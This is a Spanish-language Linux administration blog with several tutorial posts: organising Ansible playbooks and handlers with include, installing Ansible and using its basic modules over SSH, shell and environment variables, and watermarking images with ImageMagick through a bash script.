Gracias a las tareas (tasks) y handlers, podemos realizar playbooks muy completos donde podemos agrupar una enorme cantidad de tareas y handlers para luego así llamarlos a todos a la vez; ahorrándonos tener que escribir los comandos uno a uno para cada tarea que queramos realizar, haciendo que nos ahorremos muchísimo tiempo una vez tengamos todas las tareas correctamente definidas. Aún así, a nivel de gestión, el tener todas las tareas y handlers en un solo playbook puede ser una locura a nivel de mantenimiento... Cuando son pocas tareas y servicios no pasa nada, pero y si queremos gestionar 50 servicios, con diferentes grupos, handlers, etc... Técnicamente al agruparlo todo en un solo playbook es perfectamente viable, pero a nivel mantenerlo en el tiempo puede ser realmente costoso, especialmente si se quieren hacer cambios en el futuro... Es por ello que lo ideal es tener un playbook maestro y que este vaya llamando a diferentes playbooks dependiendo de las tareas que se quieran realizar. La llamada a dichos playbooks desde el playbook maestro se realiza mediante la sentencia include, y podemos crear una estructura perfectamente definida para que con el paso del tiempo se pueda mantener sin demasiados problemas.

Vamos a suponer que queremos poner un firewall para todos los equipos; un firewall común que todos van a tener; además también vamos a verificar que tanto Mysql como Apache2 están en marcha, pues tenemos un servidor web; por otro lado también verificaremos qué Asterisk tiene la última versión y que en dicho caso lo reiniciaremos. Estas tareas se podrían considerar como diferentes entre sí y por ello lo suyo sería tener: El playbook maestro, un playbook para el firewall, otro playbook para el apartado web y otro más para Asterisk. Comencemos con el aspecto del playbook maestro, master.yml:

---
#Este es el playbook maestro
- hosts: all
  remote_user: root
  tasks:
  - include: /etc/ansible/PLAYBOOKS/Firewall.yml
  - include: /etc/ansible/PLAYBOOKS/Web.yml
  - include: /etc/ansible/PLAYBOOKS/Asterisk.yml
  handlers:
  - include: /etc/ansible/HANDLERS/Firewall_handler.yml
  - include: /etc/ansible/HANDLERS/Web_handler.yml
  - include: /etc/ansible/HANDLERS/Asterisk_handler.yml
...

Como podéis ver todo queda alojado en ficheros separados, tanto las tareas como los handlers; handlers que como podéis ver se alojarían en otro directorio llamado /etc/ansible/HANDLERS/. Estos ficheros tendrían una ligera variación con respecto a lo que hemos visto hasta ahora, pues a diferencia de un playbook "normal", en estos no haría falta ponerles las etiquetas, solamente las tareas a realizar, pues ya estarían asignadas previamente por el master.yml. Veamos por ejemplo el contenido de uno de los playbooks de tareas; concretamente el contenido del fichero Firewall.yml que posee un módulo que no hemos visto hasta ahora; el módulo copy en el que copiaremos un fichero desde nuestro controlador al resto de nodos.

---
#ESTE ES EL PLAYBOOK DEL FIREWALL
- name: COPIAR IPTABLES DEL CONTROLADOR A LOS NODOS
  copy: src=/usr/src/iptables.sh dest=/etc/init.d/iptables.sh
  notify: "CORTAFUEGOS"
...

Como veis directamente empezaríamos con el - name; sin mencionar los hosts, ni el usuario remoto, ni el hecho de que es una tarea y no un handler, pues todo eso ya ha sido especificado por el anterior playbook. En este caso lo que hacemos simplemente es copiar un fichero desde la máquina controladora al resto de equipos y que en caso de que haya una diferencia entre el iptables.sh del equipo controlador y el del nodo, mande un notify llamado "CORTAFUEGOS". Obviamente si el fichero iptables.sh no existiese en el nodo, también mandaría dicho notify.

El proceso de llamamiento de un handler mediante un include no difiere apenas con el realizado con las tareas. Buen ejemplo de ello sería el handler Firewall_handler.yml que estaría relacionado con la tarea arriba mostrada; en este caso usaremos otro módulo nuevo llamado file, capaz de modificar los permisos de un fichero para que sea ejecutable:

---
#HANDLERS FIREWALL
- name: Dar permisos firewall
  file: dest=/etc/init.d/iptables.sh mode=755 state=touch
  listen: "CORTAFUEGOS"
- name: Arrancar cortafuegos
  shell: /etc/init.d/iptables.sh start
  listen: "CORTAFUEGOS"
...

En este caso el handler lo primero que haría sería darle los permisos de ejecución necesarios al nuevo script para luego ejecutarlo. El contenido del cortafuegos no es algo relevante para este ejemplo, pero a modo de prueba podría ser algo como lo siguiente:


#!/bin/bash
case "$1" in
        start)
                iptables -F
                iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
                iptables -A INPUT -m state --state NEW -j DROP
                iptables -A OUTPUT -j ACCEPT
        ;;
        stop)
                iptables -F
        ;;
esac

Con esto ya tendríamos el firewall controlado y simplemente siguiendo las mismas pautas se podría hacer exactamente lo mismo para la gestión de tanto la parte Web como Asterisk, pues la base sería la misma que la que hemos estado usando hasta ahora.

Gracias a lo que hemos visto en este artículo, tendríamos un dominio básico de los playbooks gracias al cual podríamos realizar la mayoría de las gestiones necesarias para controlar un grupo de servidores... De aquí en adelante solo sería profundizar conceptos y jugar con los diferentes módulos de Ansible, con el fin de tener los playbooks más óptimos posibles.

Espero que os haya resultado útil.

Saludos.

lunes, 8 de enero de 2018

Cómo instalar Ansible y usarlo de forma básica en Linux

La gestión de múltiples equipos es una tarea que dependiendo del volumen de éstos, puede resultar una tarea abrumadora y extremadamente ineficiente; especialmente si queremos aplicar el mismo cambio a todos estos. Imaginemos que tenemos 5 servidores Linux con SSH instalado para gestionarlos remotamente; y tenemos que hacer (por ejemplo) una simple tarea de actualización, junto con añadir un nuevo DNS a/etc/resolv.conf. Ambas tareas son simples, pero no deja de requerir tiempo pues requiere replicarlas en 5 servidores. Es por ello que en ciertos entornos es recomendado tener alguna herramienta de automatización de tareas... Existen varias herramientas, tales como Chef, Puppet o Ansible, pero hoy nos vamos a centrar en la que, en mi opinión, es la que tiene la menor curva de aprendizaje y la que es más sencilla de gestionar: Ansible.

Logo_ansible

Ansible es una herramienta de automatización de tareas que puede mandar comandos a múltiples máquinas ya sea desde la consola a la fuerza, o mediante unos ficheros, cuyo formato es YAML  (conocidos como playbooks), que siguen una estructura muy definida, en la que se establecen todo tipo de comandos, comportamientos, desencadenadores ante ciertos eventos, etc... Lo más común y lo ideal, es trabajar con dichos ficheros, pues se puede dejar todo configurado en estos y luego simplemente con decirle a Ansible que realice las acciones pertinentes que le digan éstos; pero a modo de introducción, es mejor comenzar con lo más básico y realizar tareas sencillas para luego, en caso de ver que la herramienta se adapta a nuestras necesidades, pasar a usar Ansible en profundidad.

Lo primero y necesario para poder gestionar todas las máquinas, es que todas tengan el paquete openssh-server instalado. Esto sí que es necesario hacer a mano. También es necesario tener dicho paquete instalado en la máquina controladora.
apt-get install openssh-server
La necesidad de dicho paquete radica en que todas las comunicaciones se hacen vía SSH, con lo que en caso de tener un firewall entre el controlador que enviará los comandos al resto, y las máquinas, habría que asegurarse de que éste no está bloqueando el puerto correspondiente (por defecto el 22). Aún así con esto no valdría; habría que habilitar el acceso de root por SSH a las otras máquinas; esta parte es subjetiva, ya que dependiendo de qué Linux estemos usando y la versión de éste, podemos tener habilitado el acceso remoto, pero lo ideal es asegurarse... Para ello habría que editar el fichero /etc/ssh/sshd_config y comprobar que el parámetro PermitRootLogin esté puesto a yes:
PermitRootLogin yes
Por supuesto habría que reiniciar el servicio SSH.
/etc/init.d/ssh restart
Ahora bien, hay que pensar en hacer las tareas lo más automatizadas posible, con lo que vamos a usar el método de autenticación de clave pública y privada para evitar tener que introducir la contraseña a cada servidor, ahorrándonos mucho tiempo y pudiendo hacer que las tareas de Ansible se ejecuten sin tener que estar nosotros delante autenticándonos cada vez que se conecte a un nuevo servidor. Esto puede parecer tedioso, pero hay que pensar que es un proceso se hará una sola vez, al igual que la instalación de SSH. Para ello, desde el servidor que usaremos como el controlador, es decir desde el que usaremos para enviar ordenes al resto con Ansible, generaremos un par de claves (una pública y una privada) RSA.
ssh-keygen -t rsa
Es importante matizar que cuando nos pregunten sobre qué contraseña ponerle a la clave privada para poder usarla, no poner ninguna, pues dicha clave privada, en un principio, no va a salir del equipo.
.
Ahora para exportar la clave pública a otro equipo se usaría el comando ssh-copy-id tal que así:

ssh-copy-id root@IP

Por ejemplo, si uno de los equipos tuviese la IP 192.168.1.8 haríamos:
ssh-copy-id root@192.168.1.8
Este comando habría que repetirlo para cada IP que queramos controlar. Obviamente, al copiar la clave pública, el equipo al queramos copiar la clave nos pedirá la clave de root de dicho equipo. Gracias a dicho comando ya podremos entrar a dichos equipos sin necesidad de contraseña, lo cual hará que cualquier tarea sea mucho menos tediosa; ahora bien, faltaría instalar Ansible en el equipo que queremos que "controle" al resto, es decir el equipo desde el que hemos enviado nuestra clave pública al resto. Afortunadamente instalar Ansible es tan sencillo como instalarlo de los repositorios:
apt-get install ansible
Ahora que tenemos Ansible instalado, lo primero que haremos será dirigirnos al fichero /etc/ansible/hosts; dicho fichero sería el encargado de recopilar los diferentes equipos que queremos controlar. En dicho fichero se pueden crear diferentes grupos que agrupan distintos hosts; grupos que se pueden llamar de forma individual, o que también pueden ser llamados todos a la vez.  Cada grupo tendrá la siguiente estructura:

[nombre_grupo]
IP1
IP2
...

Un ejemplo puramente teórico podría ser:
[WEB]
192.168.1.7
192.168.1.8

[ASTERISK]
192.168.1.9
A modo de ejemplo vamos a crear un solo grupo que tendrá la IP 192.168.1.8 dentro del susodicho, pues sabemos que dicha IP tiene nuestra clave pública y que podremos efectuar cualquier acción sobre el equipo con dicha IP sin preocuparnos en introducir la contraseña.
[PRUEBAS]
192.168.1.8
Ahora que tenemos el fichero hosts preparado, vamos a efectuar un par de comando básicos:

El primero sería una simple comprobación del contenido del fichero /etc/resolv.conf de cada equipo controlado por Ansible:
root@debian:~# ansible all -a \ 
"cat /etc/resolv.conf"
192.168.1.8 | SUCCESS | rc=0 >>
nameserver 192.168.1.1
Esto haría que lanzásemos una consulta del contenido del fichero /etc/resolv.conf a cada equipo bajo nuestro control, y que cada uno nos devolviese como respuesta la salida de dicho comando; ahora bien; qué significa la estructura arriba mostrada? Dicha estructura es tan sencilla como:

ansible nombre_grupo -a "comando de Linux"

A la hora de poner el nombre de grupo podemos poner el nombre del grupo al que queremos hacer referencia, como por ejemplo PRUEBAS, o por el contrario, si queremos hacer referencia a todos los grupos habría que simplemente poner el nombre all, tal y como hemos hecho arriba. Es decir que en nuestro anterior comando podríamos haber puesto el nombre del grupo PRUEBAS en vez de all y haber obtenido el mismo resultado. Al igual que podemos haber mandando dicho comando, podemos lanzar cualquier otro comando común de la consola, como podría ser un "ifconfig" o incluso un "apt-get update"; es decir que prácticamente con la prueba de concepto de arriba, podrían mandarse comandos de consola simples a todos los equipos, lo cual de por sí nos puede ahorrar una cantidad de tiempo considerable.

Ansible ofrece más opciones más allá de los comandos de shell, ya que si bien he omitido este concepto a propósito en el primer ejemplo, cuando se mandan ordenes a través de Ansible, se mandan gracias al uso de módulos que son llamados gracias al parámetro -m. La lista de módulos y sus diferentes parámetros es realmente enorme; lista que se pueden encontrar en la página oficial de Ansible como podéis ver en este enlace. Mencionarlos todos es prácticamente imposible, pero hay unos pocos que pueden resultar interesantes de mencionar; en concreto habrían 3 módulos que en mi opinión son interesantes conocer:

  • shell: Este módulo es el usado por defecto. Es decir que no especificar un módulo o poner que se quiere usar este módulo viene a ser lo mismo. Este módulo ejecuta directamente ordenes de shell.
  • service: Este es un módulo muy interesante, ya que se encarga de comprobar el estado de los servicios y manipularlos. Puede pararlos, arrancarlos e incluso añadirlos y quitarlos del arranque... En definitiva, es un módulo muy interesante a la hora de mantener servidores.
  • apt: Este módulo se dedica a usar apt para realizar actualizaciones de la caché, instalaciones, actualizaciones y eliminaciones de paquetes. 

El primer módulo ya hemos visto como usarlo y que simplemente requiere tener nociones de la shell, pero ¿Cómo usamos los módulos service y apt?

El módulo service tiene tres argumentos que podrían considerarse como los más importantes: El nombre del servicio, mediante el argumento name, el estado en el que queremos que esté mediante el comando state, y si queremos que se inicio no durante el proceso de arranque mediante el comando enabled.  Los estados pueden ser: started, stopped, restarted y reloaded; mientras que la habilitación del arranque durante el inicio sería: yes o no.

La mejor forma de entender los argumentos es viendo el uso de estos:

Imaginemos que queremos parar el servicio ntp en todos los equipos que controlamos; el comando que lograría dicho resultado sería:
root@debian:~# ansible all -m service -a \
"name=ntp state=stopped"
192.168.1.8 | SUCCESS => {
    "changed": true,
    "name": "ntp",
    "state": "stopped",
Cada comando que lancemos que a cada máquina nos devolverá una serie de líneas, entre las cuales nos importará ver, por un lado que el comando se ha enviado exitosamente, lo cual se deduce al ver que devuelve un SUCCESS, y por otro lado hay una línea en la que veremos que dirá "changed"; en caso de dar como respuesta true, significará que antes se encontraba parado, mientras que al decir false nos estaría diciendo que ya se encontraba parado antes de que nosotros se lo ordenásemos. Otro ejemplo más completo, aprovechando que el servicio ntp se encuentra parado podría ser:
root@debian:~# ansible all -m service -a \
"name=ntp state=started enabled=yes"
192.168.1.8 | SUCCESS => {
    "changed": true,
    "enabled": true,
    "name": "ntp",
    "state": "started",
En este caso no solo le habríamos ordenado que arrancase, sino que además le estaríamos ordenando que se iniciase durante el proceso de arranque el equipo...  Este ejemplo se ha usado para el servicio NTP pero podría extrapolarse a cualquier otro sin problema alguno.

Veamos ahora el módulo apt. Este módulo funciona de la misma forma que el uso habitual de apt-get, con la diferencia que desde aquí podremos controlar pequeños detalles como que por ejemplo tengamos un paquete concreto siempre con la última versión. Este módulo tiene muchos parámetros, pero los más importantes serían: name, cuya utilidad es la misma que la usada en el módulo de service y que está presente en la gran mayoría de los módulos, state, que en este caso tiene unos estados diferentes a los del módulo service, y update_cache, que sería un equivalente al comando apt-get update. Los estados en este caso serían: latest (última versión del paquete), absent, present y  build-dep. El último estado simplemente comprobaría que el paquete X tiene todas las dependencias necesarias instaladas.

A sabiendas de dichos parámetros, podemos jugar con el módulo apt para, por un lado nos actualice la caché de los repositorios y que por otro lado nos instale (si no tenemos instalada ya) la última versión de NTP.
root@debian:~# ansible all -m apt -a \
"name=ntp update_cache=yes state=latest"
192.168.1.8 | SUCCESS => {
    "cache_update_time": 1515448761,
    "cache_updated": true,
    "changed": false
}
Gracias a dicho módulo podemos mantener actualizados todos los equipos sin tener que ir uno por uno realizando dicha tarea.

Existen muchos más módulos cuya importancia varía dependiendo de las herramientas que estemos usando, pero estas tres serían las más básicas y con las que se podrían realizar las tareas más sencillas sin necesidad de introducirse en el mundo de los playbooks.

Como podéis observar el uso de Ansible puede ayudar muchísimo en la administración de varios equipos. Cierto es que en este caso se ha interactuado con uno solo y que hacer la misma tarea directamente en dicho equipo habría sido más sencillo ¿Pero y si fuesen 5, o 10, o incluso 100? Esta herramienta brilla en dicho tipo de entornos y es donde realmente se le saca partido.

Espero que con este post hayáis podido ver las posibilidades que ofrece Ansible y las ventajas que puede ofrecer para automatizar ciertas tareas y ahorrarnos horas de tareas repetitivas.

Saludos.

miércoles, 12 de julio de 2017

Variables de entorno y variables de shell en Linux

A la hora de trabajar con la consola de GNU/Linux; ya sea para ejecutar scripts, programas o simplemente ejecutar algunos comandos, a veces necesitamos recurrir a unos comandos de forma recurrente, comandos que generalmente tienen una composición relativamente compleja, con muchos parámetros, argumentos, etc... Esto de por sí generalmente no suele ser demasiado problemático a la hora de ejecutarlo una sola vez, pero cuando queremos hacerlo de forma recurrente es preferible tenerlo almacenado en una variable a la que podamos recurrir cuando queramos sin tener que repetir siempre lo mismo... Además el uso de éstas puede resultarnos muy útil también pues podemos tenerlas incluidas desde el inicio de la sesión, pudiendo ayudarnos en ciertas tareas... Para ello hemos de tener en cuenta que tenemos dos tipos de variables: De entorno y de shell.

Shell_entorno_bash

La diferencia entre ambas es sutil, pero importante, ya que dependiendo de la que elijamos, puede tener una repercusión u otra... Aún así empecemos por lo más básico, el listado de las variables actuales, lo cual se puede hacer mediante dos métodos:

Para listar las variables de entorno haríamos:
env

Mientras que para las variables de shell sería:
set

Dependiendo del comando introducido tendremos un resultado u otro,  y es que cada tipo de variable tiene un propósito muy diferente... Mientras que la variable de shell se encuentra únicamente disponible para dicha shell/consola en concreto, la variable de entorno  se encontraría disponible para dicha shell y cualquier subshell que se haya podido invocar tras la declaración de dicha variable, siendo una variable mucho más accesible que la otra y pudiendo ser usada para facilitar varias tareas. Ahora bien; ¿Cómo crear una variable?

Comencemos con lo más básico, la variable de shell: Declarar una variable de shell es tan sencillo como hacer:

variable='aquello a lo que queramos hacer referencia'

Pongamos un pequeño ejemplo; vamos a crear una variable que liste los ficheros de log del directorio /var/log:

logs='ls -lp /var/log/ |grep -v /'

Esta declaración de variable puede recordarnos a la declaración de una variable dentro de un script de bash; y es que en verdad estaríamos haciendo lo mismo; es decir que estaríamos limitando la validez de la variable a una shell en concreto. En caso de ser en la consola, solamente se limitaría a ésta, mientras que en un script la variable solamente viviría durante la ejecución de éste. Al igual que en un script, la forma de llamar a esta variable sería usando el carácter $ seguido del nombre de la variable; es decir que en este caso sería:

$logs

Generalmente este tipo de variables serán usadas o bien en scripts concretos o en situaciones puntuales en las que en una misma sesión queramos recurrir a un dato/comando recurrentemente, pero si queremos algo más flexible y persistente, este tipo de variables no nos serán especialmente útiles.

Para situaciones en las que queramos que tanto la shell, como subshells como scripts ejecutados posteriormente (desde dicha shell/subshell), puedan recurrir a la variable, necesitaremos algo más persistente; necesitaremos una variable de entorno cuya creación difiere ligeramente de las de shell pues se crea de la siguiente forma:

export variable='aquello a lo que queramos hacer referencia'

Lo cual si aplicásemos a nuestro ejemplo anterior sería:
export logs='ls -lp /var/log/ |grep -v /'

Gracias a esto, dicha variable podría ser accedida por scripts ejecutados posteriormente o por cualquier subshell, dandonos una enorme flexibilidad...

Obviamente, al igual que una variable puede ser creada, también puede ser removida. Para remover una variable, sea del tipo que sea, solamente habría que hacer:

unset variable

Lo que en nuestro caso significaría:
unset logs

Gracias a lo cual la variable habría sido eliminada.

Lo ideal, especialmente con las variables de entorno, es incluirlas dentro de un script de arranque para cerciorarnos que siempre estarán accesibles... Se puede usar cualquier script , pero el script estándar en el que se incluyen este tipo de variables es el script .bashrcincluido dentro de la carpeta home de todos los usuarios, pues se ejecuta automáticamente al iniciar sesión el usuario y sabremos que cualquier función y/o script que éste ejecute podrá recurrir a la variable en cuestión. La única pega que tiene esta medida es que requiere modificar todos los .bashrc de todo los usuarios que necesitemos que usen esta variable, con el fin de que no haya problema alguno, pero una vez hecho ese esfuerzo, tendremos la certeza de que la variable siempre será exportada. Solamente tendremos que añadir la variable de entorno a dicho fichero y con ello ya tendríamos el problema resuelto.

Espero que os haya resultado útil.

Saludos.

sábado, 24 de junio de 2017

Cómo poner una marca de agua desde la terminal Linux con Imagemagick

Hoy en día es realmente común ver imágenes de galerías o de blogs con marcas de agua incluidas con el fin de que dichas imágenes no puedan ser redistribuidas, a menos que, en algunos casos, pagues por el derecho de usarlas sin marca alguna, cosa común en algunas webs dedicadas a la distribución de imágenes. El proceso de generación e incrustación de marcas de agua puede que a primera vista a uno le pueda parecer complejo o que sea tarea de una persona con conocimientos de maquetación o diseño gráfico; pero en realidad es mucho más sencillo de lo que parece, o al menos lo es en GNU/Linux. Esto es gracias a una herramienta de manipulación de imágenes muy potente y conocida llamada Imagemagick.

Imagemagick_portada

Imagemagick es un conjunto de utilidades basadas en la terminal que es capaz de mostrar, manipular y convertir imágenes de multitud de formatos, lo hace de ella una utilidad muy versátil y conocida. Dicha herramienta, dependiendo de la distribución que estemos usando no estará instalada por defecto, pero al estar dentro de los repositorios oficiales, es increíblemente sencilla de instalar, pues solamente habría que hacer:

apt-get install imagemagick

Con esto realizado, lo primero que crearíamos sería nuestra marca de agua particular, la cual en nuestro caso sería basada en texto y que sería la que usaríamos para incrustarla a nuestras futuras imágenes. En mi caso particular la marca de agua en sí se llamaría Marca_bytelearning.png pondría bytelearning, pero se podría poner cualquier otro nombre y texto. Para la creación de la marca de agua en sí, solamente requeriríamos de un comando:

convert -size 400x200 xc:none -pointsize 25 -kerning 1 \
-gravity center -fill black \
-annotate 330x330+0+0 "Bytelearning" -fill white \
-annotate 330x330+2+2 "Bytelearning" Marca_bytelearning.png

Este comando crearía una marca de agua blanca con bordes oscuros; en concreto dicha marca tendría el siguiente aspecto:

marca_de_agua
Marca de agua

Obviamente dicha marcha de agua tendría que ser incrustada en una imagen a nuestra elección y además tendría que tener una pequeña degradación para que la marca de agua sea semi-transparente en la imagen en la que queramos añadir nuestra marca. Esto se logra gracias al comando composite, que tendría la estructura de a continuación:

composite  -disolve 20% -tile marca_de_agua imagen_original nombre_imagen_con_marca

Por ejemplo, si nuestra imagen se llamase prueba_marca.png, el comando podría ser:

composite -dissolve 20% -tile Marca_bytelearning.png \
prueba_marca.png prueba_marca_MARCADO.png

Lo cual daría como resultado una imagen como la siguiente:

tux_marca_de_agua

Si tuviésemos la costumbre de incrustar marcas de agua de manera recurrente, si bien el comando es relativamente sencillo, podemos simplificarlo todo en un script que hará que todo resulte mucho más sencillo. Un script como el siguiente, al que podríamos llamar incrustador_marca.sh:


#!/bin/bash

#VARIABLES COLORES
VERDE='\e[0;32m' #Verde
ROJO='\e[0;31m' #Rojo
NC='\e[0m' # No Color

#COMPROBAMOS LA CANTIDAD DE ARGUMENTOS
if [[ $# -ne 1 ]];
then
        echo -e "${ROJO}SOLAMENTE HAY QUE INTRODUCIR UN ARGUMENTO${NC}"
        exit
fi
#PREPARAMOS LOS COMPONENTES
IMAGEN_ORIGINAL=$1
IMAGEN_MARCADA=$(echo "${IMAGEN_ORIGINAL}" |cut -d '.' -f 1)"_MARCADA.png"
MARCA_AGUA=/tmp/Marca_bytelearning.png

#EJECUTAMOS EL COMANDO
composite -dissolve 20% -tile ${MARCA_AGUA} ${IMAGEN_ORIGINAL} ${IMAGEN_MARCADA}\
> /dev/null 2>&1

#INFORMA DEL RESULTADO DEL COMANDO
if [[ $? -ne 0 ]];
then
        echo -e "${ROJO}La incrustacion de la marcha ha sido FALLIDA" \
        "revise la imagen original: ${NC}${IMAGEN_ORIGINAL}"
else
        echo -e "${VERDE}La incrustacion de la marca ha sido EXITOSA," \
        "revise la nueva imagen: ${NC}${IMAGEN_MARCADA}"
fi

Con esto haríamos que todo el proceso fuese automático, exigiendo a cualquier persona que use el script el mínimo esfuerzo, ya que solamente habría que indicarle la imagen a la que queremos incrustarle la marca.

Gracias a esto, tendríamos un incrustador automatizado y cualquier marca que queramos poner en nuestras imágenes se haría de forma rápida e intuitiva.

Espero que os haya resultado útil.

Saludos.